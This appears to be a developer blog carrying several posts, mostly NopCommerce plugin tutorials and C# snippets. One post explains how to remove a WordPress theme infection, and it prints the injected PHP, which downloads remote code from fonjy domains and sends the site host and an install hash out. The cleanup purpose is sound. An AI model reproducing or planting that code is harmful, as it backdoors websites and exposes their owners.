Code Optimization

Interesting things in software development and code optimization

Clear Disk C: and free more than 10 GB space!

Hello friend,


are you a software developer and use Visual Studio and Nuget? 


Then just look and delete everything there: C:\Users\UserName\.nuget\packages

and you will free +10 GB of space!



Thank you


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



Top 1 Anti-spam email filter

Hello friends,


Let's imagine that you need an anti-spam filter for your e-shop email address, for example when users send you emails, comments, etc., and you want to be sure there will be no spam at all (or at least 99%)

There are a lot of different plugins and technics, but I guess they are not so powerful as you need, as well as me.


After a few days thinking about it I came to one idea - what if your email server would be able to send immediate response to sender to confirm he is not a spammer? Sounds great for me, so here are steps on how to do it:

- User or spammer send email to your email inbox

- Top 1 anti-spam filter gets every email, moves it into lets say "Waiting Approval" folder and sends an immediate email in response with unique URL for confirmation

- If that was an email from a real user he will get the email and navigate to the URL(spammer will not I guess)

- The URL will be a simple page with Google CAPTCHA (server-side validation of course) and confirmation button + the unique id

- Clicking the confirmation button will confirm humanity and move the original email back to inbox folder so you would see you have a humanity-confirmed new email


That's it. What do you think?


Thank you and see you later ;)



1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Events

Hello friends,


this post will be about NopCommerce Events and how to react on them. I will show how to react to the Order Placed Event.

For that we need to add our own class and inherit IConsumer<OrderPlacedEvent> so NopCommerce would automatically use it, 

here is the code:

namespace Nop.Plugin.MyProductFeeder
{
    public class MyOrderPlacedEvent : IConsumer<OrderPlacedEvent>
    {
        private readonly IPluginFinder _pluginFinder;
        private readonly IOrderService _orderService;
        private readonly IStoreContext _storeContext;

        private readonly Nop.Services.Common.IGenericAttributeService _genericAttributeService;

        public MyOrderPlacedEvent(
IPluginFinder pluginFinder, IOrderService orderService, IStoreContext storeContext, Nop.Services.Common.IGenericAttributeService genericAttributeService) { this._pluginFinder = pluginFinder; this._orderService = orderService; this._storeContext = storeContext; this._genericAttributeService = genericAttributeService; } /// <summary> /// Handles the event. /// </summary> /// <param name="eventMessage">The event message.</param> public void HandleEvent(OrderPlacedEvent eventMessage) { eventMessage.Order.OrderStatus = OrderStatus.Pending; eventMessage.Order.OrderNotes.Add(new OrderNote() { CreatedOnUtc = DateTime.UtcNow, DisplayToCustomer = true, Note = "Please, confirm your order by email!" }); _orderService.UpdateOrder(eventMessage.Order); } } }

So my main idea was to force user to confirm order by email with a unique link in it.

Not too complex but may not be so obvious for someone.


Thank you and see you :)



1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Price Calculation Service

Hello friends,

today I will show a Price Calculation Service implementation for NopCommerce plugin.

We will need a class that inherits Nop.Services.Catalog.PriceCalculationService and single method for price calculation.

Here is the code:

    public class MyPriceCalc:Nop.Services.Catalog.PriceCalculationService
    {
        #region Fields

        private readonly CatalogSettings _catalogSettings;
        private readonly CurrencySettings _currencySettings;
        private readonly ICategoryService _categoryService;
        private readonly ICurrencyService _currencyService;
        private readonly IDiscountService _discountService;
        private readonly IManufacturerService _manufacturerService;
        private readonly IProductAttributeParser _productAttributeParser;
        private readonly IProductService _productService;
        private readonly IStaticCacheManager _cacheManager;
        private readonly IStoreContext _storeContext;
        private readonly IWorkContext _workContext;
        private readonly ShoppingCartSettings _shoppingCartSettings;

        private readonly IGenericAttributeService _genericAttributeService;
        private readonly Nop.Services.Shipping.Date.IDateRangeService _dateRangeService;

        #endregion

        #region Ctor

        public MyPriceCalc(CatalogSettings catalogSettings,
            CurrencySettings currencySettings,
            ICategoryService categoryService,
            ICurrencyService currencyService,
            IDiscountService discountService,
            IManufacturerService manufacturerService,
            IProductAttributeParser productAttributeParser,
            IProductService productService,
            IStaticCacheManager cacheManager,
            IStoreContext storeContext,
            IWorkContext workContext,
            ShoppingCartSettings shoppingCartSettings,
            IGenericAttributeService genericAttributeService,
            Nop.Services.Shipping.Date.IDateRangeService dateRangeService) :base(catalogSettings,
            currencySettings,
            categoryService,
            currencyService,
            discountService,
            manufacturerService,
            productAttributeParser,
            productService,
            cacheManager,
            storeContext,
            workContext,
            shoppingCartSettings)
        {
            this._catalogSettings = catalogSettings;
            this._currencySettings = currencySettings;
            this._categoryService = categoryService;
            this._currencyService = currencyService;
            this._discountService = discountService;
            this._manufacturerService = manufacturerService;
            this._productAttributeParser = productAttributeParser;
            this._productService = productService;
            this._cacheManager = cacheManager;
            this._storeContext = storeContext;
            this._workContext = workContext;
            this._shoppingCartSettings = shoppingCartSettings;

            this._genericAttributeService = genericAttributeService;
            this._dateRangeService = dateRangeService;
        }

        #endregion

        public override decimal GetFinalPrice(Product product,
            Customer customer,
            decimal? overriddenProductPrice,
            decimal additionalCharge,
            bool includeDiscounts,
            int quantity,
            DateTime? rentalStartDate,
            DateTime? rentalEndDate,
            out decimal discountAmount,
            out List<DiscountForCaching> appliedDiscounts)
        {
            //get base price in case anything will go wrong in your logic
            decimal fprice = base.GetFinalPrice(product,
            customer,
            overriddenProductPrice,
            additionalCharge,
            includeDiscounts,
            quantity,
            rentalStartDate,
            rentalEndDate,
            out discountAmount,
            out appliedDiscounts);

            if (_storeContext.CurrentStore.Id == 3/*your store id in multiple-store configuration*/)
            {
                try
                {
                    //... your price calculation logic
                }
                catch (Exception ex)
                {
                    var logger = EngineContext.Current.Resolve<Nop.Services.Logging.ILogger>();
                    logger.Error(ex.Message, ex, customer);
                }
            }

            return fprice;
        }
    }

So, this class and the single method will be called every time any product requested (on home page, in any list, on product details page, etc.)

Firstly I call base method just in case anything will go wrong in my own logic and return the base price.

After you published this plugin your calculation class will picked up by NopCommerce immediately.


Thank you and see you there: NopCommerce customization - Events




1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



PHP Theme and malware

Hello,


Today I have found a way to clean-up one of a PHP Theme that pops-up ads from time to time on your website.

so just in case anyone will look for the same problem solving - here what I did for it:

- in my case it created wp-tmp.php file under the theme folder so I searched for the file name inside of each file:

grep --include=*.php -rn . -e "wp-tmp.php"

it will show you something like that:

./wp-content/themes/betheme/functions.php:106:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:108:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:109:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:110:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:111:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:123:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:125:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:126:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:127:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:128:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:133:        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:136:        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:139:        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

btw, do not forget to delete all wp-tmp.php files :)

- after that open the functions.php file and remove the following lines:

$wp_auth_key='ee10bb8873fd72fe5d1585ebddeeae7e';
        if (($tmpcontent = @file_get_contents("https://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("https://www.fonjy.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("https://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }

in my case it was starting on 101 line number.

- now run the following command:
grep --include=*.php -rn . -e "fonjy"
and you should get something similar to:
./wp-includes/wp-vcd.php:83:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:84:						@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

./wp-includes/wp-vcd.php:88:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:89:						@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

I removed the wp-vcd.php file completely and the class.wp.php as well (even it was in 0 size)


Now it should not return back to you website anymore (do not forget to remove 777 permission everywhere)


Thank you for reading it and see you

1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Message Token

Hello friends,


this time I will show how to add your own message tokens to NopCommerce. For that you need two things: create a message token class and register it with dependencyregistrar.

So here is the code:

    public class FeederOT : IDependencyRegistrar
    {
        public int Order => 1000;

        public void Register(ContainerBuilder builder, ITypeFinder typeFinder, NopConfig config)
        {
            builder.RegisterType<OrderMessageToken>().As<IMessageTokenProvider>().InstancePerLifetimeScope();
        }
    }

    public class OrderMessageToken: Nop.Services.Messages.MessageTokenProvider
    {
        #region Fields

        private readonly CatalogSettings _catalogSettings;
        private readonly CurrencySettings _currencySettings;
        private readonly IActionContextAccessor _actionContextAccessor;
        private readonly IAddressAttributeFormatter _addressAttributeFormatter;
        private readonly ICurrencyService _currencyService;
        private readonly ICustomerAttributeFormatter _customerAttributeFormatter;
        private readonly ICustomerService _customerService;
        private readonly IDateTimeHelper _dateTimeHelper;
        private readonly IDownloadService _downloadService;
        private readonly IEventPublisher _eventPublisher;
        private readonly IGenericAttributeService _genericAttributeService;
        private readonly ILanguageService _languageService;
        private readonly ILocalizationService _localizationService;
        private readonly IOrderService _orderService;
        private readonly IPaymentService _paymentService;
        private readonly IPriceFormatter _priceFormatter;
        private readonly IStoreContext _storeContext;
        private readonly IStoreService _storeService;
        private readonly IUrlHelperFactory _urlHelperFactory;
        private readonly IUrlRecordService _urlRecordService;
        private readonly IVendorAttributeFormatter _vendorAttributeFormatter;
        private readonly IWorkContext _workContext;
        private readonly MessageTemplatesSettings _templatesSettings;
        private readonly PaymentSettings _paymentSettings;
        private readonly StoreInformationSettings _storeInformationSettings;
        private readonly TaxSettings _taxSettings;

        private Dictionary<string, IEnumerable<string>> _allowedTokens;

        #endregion

        #region Ctor

        public OrderMessageToken(CatalogSettings catalogSettings,
            CurrencySettings currencySettings,
            IActionContextAccessor actionContextAccessor,
            IAddressAttributeFormatter addressAttributeFormatter,
            ICurrencyService currencyService,
            ICustomerAttributeFormatter customerAttributeFormatter,
            ICustomerService customerService,
            IDateTimeHelper dateTimeHelper,
            IDownloadService downloadService,
            IEventPublisher eventPublisher,
            IGenericAttributeService genericAttributeService,
            ILanguageService languageService,
            ILocalizationService localizationService,
            IOrderService orderService,
            IPaymentService paymentService,
            IPriceFormatter priceFormatter,
            IStoreContext storeContext,
            IStoreService storeService,
            IUrlHelperFactory urlHelperFactory,
            IUrlRecordService urlRecordService,
            IVendorAttributeFormatter vendorAttributeFormatter,
            IWorkContext workContext,
            MessageTemplatesSettings templatesSettings,
            PaymentSettings paymentSettings,
            StoreInformationSettings storeInformationSettings,
            TaxSettings taxSettings):base(
                catalogSettings,
            currencySettings,
            actionContextAccessor,
            addressAttributeFormatter,
            currencyService,
            customerAttributeFormatter,
            customerService,
            dateTimeHelper,
            downloadService,
            eventPublisher,
            genericAttributeService,
            languageService,
            localizationService,
            orderService,
            paymentService,
            priceFormatter,
            storeContext,
            storeService,
            urlHelperFactory,
            urlRecordService,
            vendorAttributeFormatter,
            workContext,
            templatesSettings,
            paymentSettings,
            storeInformationSettings,
            taxSettings
                )
        {
            this._catalogSettings = catalogSettings;
            this._currencySettings = currencySettings;
            this._actionContextAccessor = actionContextAccessor;
            this._addressAttributeFormatter = addressAttributeFormatter;
            this._currencyService = currencyService;
            this._customerAttributeFormatter = customerAttributeFormatter;
            this._customerService = customerService;
            this._dateTimeHelper = dateTimeHelper;
            this._downloadService = downloadService;
            this._eventPublisher = eventPublisher;
            this._genericAttributeService = genericAttributeService;
            this._languageService = languageService;
            this._localizationService = localizationService;
            this._orderService = orderService;
            this._paymentService = paymentService;
            this._priceFormatter = priceFormatter;
            this._storeContext = storeContext;
            this._storeService = storeService;
            this._urlHelperFactory = urlHelperFactory;
            this._urlRecordService = urlRecordService;
            this._vendorAttributeFormatter = vendorAttributeFormatter;
            this._workContext = workContext;
            this._templatesSettings = templatesSettings;
            this._paymentSettings = paymentSettings;
            this._storeInformationSettings = storeInformationSettings;
            this._taxSettings = taxSettings;
        }

        #endregion

        public override void AddOrderTokens(IList<Token> tokens, Order order, int languageId, int vendorId = 0)
        {
            tokens.Add(new Token("Order.OrderGuid", order.OrderGuid, true));
            base.AddOrderTokens(tokens, order, languageId, vendorId);
        }
    }


So, you create your own class, inherit it from the Nop.Services.Messages.MessageTokenProvider and define your own token inside of the AddOrderTokens method.

After that you register it with the IDependencyRegistrar.


Now you can use your own tokens inside of message templates.


See you there: NopCommerce customization - Price Calculation Service


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Plugin

Hello friends,


I'm going to share my experience in NopCommerce customization. I will write about Plugins, Scheduled tasks, Events, Services, and everything you need to know to extend your NopCommerce shop.

This first post will be about NopCommerce plugin for NopCommerce 4.1.

So, to start writing your own plugin for NopCommerce you need to start from the help page of the official documentation

Steps described there are required to start writing your plugin. After that you will just extend it to meet your requirements and here are some useful things:

- Main Plugin class declaration:

public class Feeder : BasePlugin, IMiscPlugin, IAdminMenuPlugin

- Declare all classes you need for work:

public Feeder(IActionContextAccessor actionContextAccessor,
            IDiscountService discountService,
            ILocalizationService localizationService,
            ISettingService settingService,
            IUrlHelperFactory urlHelperFactory,
            IWebHelper webHelper,
            IScheduleTaskService scheduleTaskService)
        {
            this._actionContextAccessor = actionContextAccessor;
            this._discountService = discountService;
            this._localizationService = localizationService;
            this._settingService = settingService;
            this._urlHelperFactory = urlHelperFactory;
            this._webHelper = webHelper;

            this._scheduleTaskService = scheduleTaskService;
        }

- Declare base methods:

        public override string GetConfigurationPageUrl()
        {
            return $"{_webHelper.GetStoreLocation()}Admin/ProductFeederMPlug/Configure";
        }

        public string GetConfigurationUrl(int discountId, int? discountRequirementId)
        {
            return $"{_webHelper.GetStoreLocation()}Admin/ProductFeederMPlug/Configure";
}

- Adding menu item to the admin menu:

        public void ManageSiteMap(SiteMapNode rootNode)
        {
            var menuItem = new SiteMapNode()
            {
                SystemName = "Product Feeder MPlug",
                Title = "Product Feeder MPlug",
ControllerName = "ProductFeederMPlug",
ActionName = "Setup", Visible = true, IconClass = "fa fa-dot-circle-o", RouteValues = new RouteValueDictionary() { { "area", Web.Framework.AreaNames.Admin } }, }; var pluginNode = rootNode.ChildNodes.FirstOrDefault(x => x.SystemName == "Configuration"); if (pluginNode != null) pluginNode.ChildNodes.Add(menuItem); else rootNode.ChildNodes.Add(menuItem); }

-Installation method:

        public override void Install()
        {
            var task = _scheduleTaskService.GetTaskByType(Services.UpdateStoreTask.TypeName);
            if (task == null)
            {
                _scheduleTaskService.InsertTask(new Core.Domain.Tasks.ScheduleTask()
                {
                    Type = Services.UpdateStoreTask.TypeName,
                    Enabled = true,
                    Name = "MPlug Product Synchronizer",
                    Seconds = 60 * 10,
                    StopOnError = false
                });
            }
            else
            {
                task.Enabled = true;
                task.Seconds = 60 * 10;
                task.StopOnError = false;
                _scheduleTaskService.UpdateTask(task);
            }

            task = _scheduleTaskService.GetTaskByType(Services.UpdateOrderStateTask.TypeName);
            if (task == null)
            {
                _scheduleTaskService.InsertTask(new Core.Domain.Tasks.ScheduleTask()
                {
                    Type = Services.UpdateOrderStateTask.TypeName,
                    Enabled = true,
                    Name = "MPlug Order State Tracker",
Seconds = 60 * 10, StopOnError = false }); } else { task.Enabled = true; task.Seconds = 60 * 15; task.StopOnError = false; _scheduleTaskService.UpdateTask(task); } base.Install(); }

- Uninstalling:

        public override void Uninstall()
        {
            //do whatever you need to uninstall your plugin
            base.Uninstall();
        }


- Adding your own controller - Inherit your plugin controller from the BasePluginController class:

public class ProductFeederMPlugController: BasePluginController

- Declaring views:

        [AuthorizeAdmin]
        [Area(AreaNames.Admin)]
        public IActionResult Configure()
        {
            if (!_permissionService.Authorize(StandardPermissionProvider.AccessAdminPanel))
                return AccessDeniedView();

            return View("~/Plugins/ProductFeeder.MPlug/Views/Configure.cshtml");
        }

        [AuthorizeAdmin]
        [Area(AreaNames.Admin)]
        public IActionResult Setup()
        {
            if (!_permissionService.Authorize(StandardPermissionProvider.AccessAdminPanel))
                return AccessDeniedView();

            return View("~/Plugins/ProductFeeder.MPlug/Views/Setup.cshtml");
}

- Store scope detecting:

var storeScope = _storeContext.ActiveStoreScopeConfiguration;

- Store temporary information during session:

_cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));

- Declare all instances of classes you need as constructor parameters and store them into fields:

public ProductFeederController(ICustomerService customerService, 
            Nop.Services.Shipping.Date.IDateRangeService dateRangeService,
            ILocalizationService localizationService,
            IPermissionService permissionService,
            ISettingService settingService,
            IStoreContext storeContext,
            Nop.Services.Catalog.ICategoryService categoryService,
            Nop.Services.Catalog.IManufacturerService manufacturerService,
            Nop.Services.Catalog.IProductService productService,
            Nop.Services.Catalog.IProductAttributeService productAttributeService,
            Nop.Services.Catalog.ISpecificationAttributeService specificationAttributeService,
            IGenericAttributeService genericAttributeService,
            Core.Infrastructure.INopFileProvider fileProvider,
            Nop.Services.Media.IPictureService pictureService,
            Nop.Services.Stores.IStoreMappingService storeMappingService,
            Nop.Services.Catalog.IProductTagService productTagService,
            Nop.Services.Seo.IUrlRecordService urlRecordService,
            Microsoft.Extensions.Caching.Memory.IMemoryCache cache)
        {
            this._dateRangeService = dateRangeService;
            this._customerService = customerService;
            this._localizationService = localizationService;
            this._permissionService = permissionService;
            this._settingService = settingService;
            this._storeContext = storeContext;
            this._categoryService = categoryService;
            this._manufacturerService = manufacturerService;
            this._productService = productService;
            this._productAttributeService = productAttributeService;
            this._specificationAttributeService = specificationAttributeService;
            this._genericAttributeService = genericAttributeService;
            this._fileProvider = fileProvider;
            this._pictureService = pictureService;
            this._storeMappingService = storeMappingService;
            this._productTagService = productTagService;
            this._urlRecordService = urlRecordService;
            this._cache = cache;
        }

- Save needed data into settings (DB table):

_settingService.SetSetting<string>("Categories", Newtonsoft.Json.JsonConvert.SerializeObject(finalcategories, Newtonsoft.Json.Formatting.None,
                        new Newtonsoft.Json.JsonSerializerSettings()
                        {
                            ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                        }), storeScope, true);

- To avoid complexity of existing model extending - use generic attributes:

_genericAttributeService.SaveAttribute<int>(manuf, Feeder.gAttrID, manuid);

- Add store mapping for entities (in this case for Manufacturer):

_storeMappingService.InsertStoreMapping<Core.Domain.Catalog.Manufacturer>(manuf, storeScope);

- Use repositories to speed-up it work with DB and if you do not need all other logic and events to be occured (use with caution and be aware of it):

var productRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.Product>>();

- Adding a manufacturer:

manuf = new Core.Domain.Catalog.Manufacturer()
{
     Name = product.brandName,
     CreatedOnUtc = DateTime.UtcNow,
     ManufacturerTemplateId = 1,
     MetaDescription = product.brandName,
     MetaKeywords = product.brandName,
     MetaTitle = product.brandName,
     PageSize = 20,
     Published = true,
     UpdatedOnUtc = DateTime.UtcNow
};
_manufacturerService.InsertManufacturer(manuf);
_storeMappingService.InsertStoreMapping<Core.Domain.Catalog.Manufacturer>(manuf, storeScope);

- Adding date ranges / delivery dates:

daterange = new Core.Domain.Shipping.DeliveryDate()
{
      Name = deliveryText
};
_dateRangeService.InsertDeliveryDate(daterange);

- Adding product:

pro = new Core.Domain.Catalog.Product()
{
     ProductType = Core.Domain.Catalog.ProductType.SimpleProduct,
     VisibleIndividually = true,
     Sku = product.article,
     IsShipEnabled = true,
     MetaDescription = shortd,
     MetaKeywords = shortd,
     MetaTitle = name,
     Price = price,
     ProductCost = cost,
     AdditionalShippingCharge = Feeder.CalculateShipping(price),
     CreatedOnUtc = DateTime.UtcNow,
     UpdatedOnUtc = ((DateTime)product.modified).ToUniversalTime(),
     Name = name,
     ShortDescription = product.descriptionSnort,
     FullDescription = product.description,
     BackorderMode = Core.Domain.Catalog.BackorderMode.NoBackorders,
     MarkAsNew = true,
     AllowBackInStockSubscriptions = true,
     AllowCustomerReviews = true,
     Published = price != null,
     DeliveryDateId = daterange == null ? 0 : daterange.Id,
     LimitedToStores = true,
     OrderMaximumQuantity=int.MaxValue,
     OrderMinimumQuantity=1, 
     DisableBuyButton = pprice == null,
     ProductTemplateId = 1,
     ProductManufacturers =
     {
           new Core.Domain.Catalog.ProductManufacturer() { Manufacturer = manuf, Product = pro }
     }

};

productRepository.Insert(pro);

- Add pictures/images as files:

string iufn = _fileProvider.GetFileName(iurl);
if (!pro.ProductPictures.Any(a => a.Picture.SeoFilename.ToLowerInvariant() == iufn.ToLowerInvariant()))
{
      Core.Domain.Media.Picture propic;
      _pictureService.StoreInDb = false;
      propic = _pictureService.InsertPicture(data.Item2, "image/jpeg", iufn, pro.Name, pro.Name, true);

      _productService.InsertProductPicture(new Core.Domain.Catalog.ProductPicture()
      {
            Product = pro,
            Picture = propic
      });
}

- Adding Product Attribute:

pattr = new Core.Domain.Catalog.ProductAttribute()
{
     Name = name

};

productAttributeService.InsertProductAttribute(pattr);

pro.ProductAttributeMappings.Add(new Core.Domain.Catalog.ProductAttributeMapping()
{
     AttributeControlType = Core.Domain.Catalog.AttributeControlType.ColorSquares,
     IsRequired = true,
     ProductAttribute = pattr,
     ProductAttributeValues =
     {
          new Core.Domain.Catalog.ProductAttributeValue
          {
                AttributeValueType = Core.Domain.Catalog.AttributeValueType.Simple,
                Name = val, 
                IsPreSelected = true, 
                ColorSquaresRgb=rgb
          }
     }

- Adding Product Specification Attribute:

spattr = new Core.Domain.Catalog.SpecificationAttribute
{
       Name = name
};
spAttrRepository.Insert(spattr);
spao = new Core.Domain.Catalog.SpecificationAttributeOption()
{
       Name = val,
       SpecificationAttribute = spattr
};
spOAttrRepository.Insert(spao);

pro.ProductSpecificationAttributes.Add(new Core.Domain.Catalog.ProductSpecificationAttribute()
{
       AllowFiltering = true,
       ShowOnProductPage = true,
       SpecificationAttributeOption = spao,
       AttributeType = Core.Domain.Catalog.SpecificationAttributeType.Option
});

- do not forget to update Entity (Product in this case) after all changes:

productRepository.Update(pro);

- Adding Urls/Slugs to entities:

if (string.IsNullOrEmpty(_urlRecordService.GetActiveSlug(p.Id, typeof(Core.Domain.Catalog.Product).Name, 0)))
{
     slug = _urlRecordService.ValidateSeName(_productService.GetProductById(p.Id), p.Name, p.Name, true);
     _urlRecordService.InsertUrlRecord(new Core.Domain.Seo.UrlRecord
     {
           EntityId = p.Id,
           EntityName = typeof(Core.Domain.Catalog.Product).Name,
           LanguageId = 0,
           IsActive = true,
           Slug = slug
     });
}


Next post about adding message tokens...





1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



C#, Json and PHP Form

Today, I had a task to submit data to an PHP API that takes Json data via HTTP POST using ContentType "application/x-www-form-urlencoded" and format like:

order[phone]=+48733552233&order[name]=First Name Last Name&order[deliveryCost]=50&order[deliveryStockCode]=39931b80-e1c2-11e3-8c4a-0050568002cf&order[comment]=test api&orderItems[0][itemID]=194559-0&orderItems[0][salePrice]=9500&orderItems[0][count]=2&orderItems[1][itemID]=071402-0&orderItems[1][salePrice]=750&orderItems[1][count]=5&key=777777777777777

Hah, crazy right? I have never seen such crazy things before and I had no chance except just take it and create myself.

Google did help me a little bit but in my case there were arrays of objects so I had to modify and extend a code I did find on internet.

So, to transform this:


                    var json = new
                    {
                        key = apiKey,
                        order = new
                        {
                            phone = PhoneNumber,
                            name = LastName + " " + FirstName,
                            comment = Comment,
                            deliveryCost = Math.Round(OrderItems.Sum(s => s.AdditionalShippingCharge), 0, MidpointRounding.ToEven).ToString(),
                            deliveryStockCode = Address
                        },
                        orderItems = OrderItems.Select(s => new
                        {
                            itemID = s.ProdId,
                            salePrice = Math.Round(s.Price, 0, MidpointRounding.ToEven),
                            count = s.Quantity
                        }).ToArray()
                    };

into the form data like I shown before, here is my method (it is rough so I'm sure it is not perfect but I had no time to create it cool and clean and may be will re-write it in the future).


Also, in my case , there were anonymous types so it had to identify them somehow, but as you may know already, anonymous types in C# has no explicit and compilation time type declaration to get its typeof().


        public string JsonToHttpFormString(object request, string separator = ",")
        {
            if (request == null)
                throw new ArgumentNullException("request");

            // Get all properties on the object
            var properties = request.GetType().GetProperties()
                .Where(x => x.CanRead)
                .Where(x => x.GetValue(request, null) != null)
                .ToDictionary(x => x.Name, x => x.GetValue(request, null));

            // Get names for all IEnumerable properties (excl. string)
            var propertyNames = properties
                .Where(x => !(x.Value is string) && ((x.Value is IEnumerable) || (x.Value != null && x.Value.GetType().IsConstructedGenericType && x.Value.GetType().Name.Contains("AnonymousType"))))
                .Select(x => x.Key)
                .ToList();

            // Concat all IEnumerable properties into a comma separated string
            bool isAnonym = false;
            foreach (var key in propertyNames)
            {
                var valueType = properties[key].GetType();
                var valueElemType = valueType.IsGenericType
                                        ? valueType.GetGenericArguments()[0]
                                        : valueType.GetElementType();

                isAnonym = valueType.Name.Contains("AnonymousType");
                if (valueElemType.IsPrimitive || valueElemType == typeof(string) || isAnonym)
                {
                    var enumerable = properties[key] as IEnumerable;
                    if (isAnonym && !valueType.IsArray)
                    {
                        List<string> tempvs = new List<string>();
                        var item = properties[key];
                        // Get all properties on the object
                        var properties2 = item.GetType().GetProperties()
                            .Where(x => x.CanRead)
                            .Where(x => x.GetValue(item, null) != null)
                            .ToDictionary(x => x.Name, x => x.GetValue(item, null));

                        foreach (var kkey in properties2)
                        {
                            var valueType2 = kkey.GetType();
                            var valueElemType2 = valueType2.IsGenericType
                                                    ? valueType2.GetGenericArguments()[0]
                                                    : valueType2.GetElementType();

                            if (valueElemType2.IsPrimitive || valueElemType2 == typeof(string))
                            {
                                tempvs.Add(HttpUtility.UrlEncode(key + "[" + kkey.Key + "]") + "=" + HttpUtility.UrlEncode(kkey.Value.ToString()));
                            }
                        }

                        properties.Remove(key);
                        properties.Add(string.Join("&", tempvs), string.Empty);
                        tempvs.Clear();
                        tempvs = null;
                    }
                    else if (isAnonym && valueType.IsArray)
                    {
                        int i = 0;
                        List<string> tempvs = new List<string>();
                        foreach (var item in enumerable)
                        {
                            // Get all properties on the object
                            var properties2 = item.GetType().GetProperties()
                                .Where(x => x.CanRead)
                                .Where(x => x.GetValue(item, null) != null)
                                .ToDictionary(x => x.Name, x => x.GetValue(item, null));

                            foreach (var kkey in properties2)
                            {
                                var valueType2 = kkey.GetType();
                                var valueElemType2 = valueType2.IsGenericType
                                                        ? valueType2.GetGenericArguments()[0]
                                                        : valueType2.GetElementType();

                                if (valueElemType2.IsPrimitive || valueElemType2 == typeof(string))
                                {
                                    tempvs.Add(HttpUtility.UrlEncode(key + "[" + i + "][" + kkey.Key + "]") + "=" + HttpUtility.UrlEncode(kkey.Value.ToString()));
                                }
                            }
                            i++;
                        }
                        properties.Remove(key);
                        properties.Add(string.Join("&", tempvs), string.Empty);
                        tempvs.Clear();
                        tempvs = null;
                    }
                    else
                    {
                        properties[key] = string.Join(separator, enumerable.Cast<object>());
                    }
                }
            }

            // Concat all key/value pairs into a string separated by ampersand and remove trailing '='
            string res = string.Join("&", properties
                .Select(x => string.Concat(
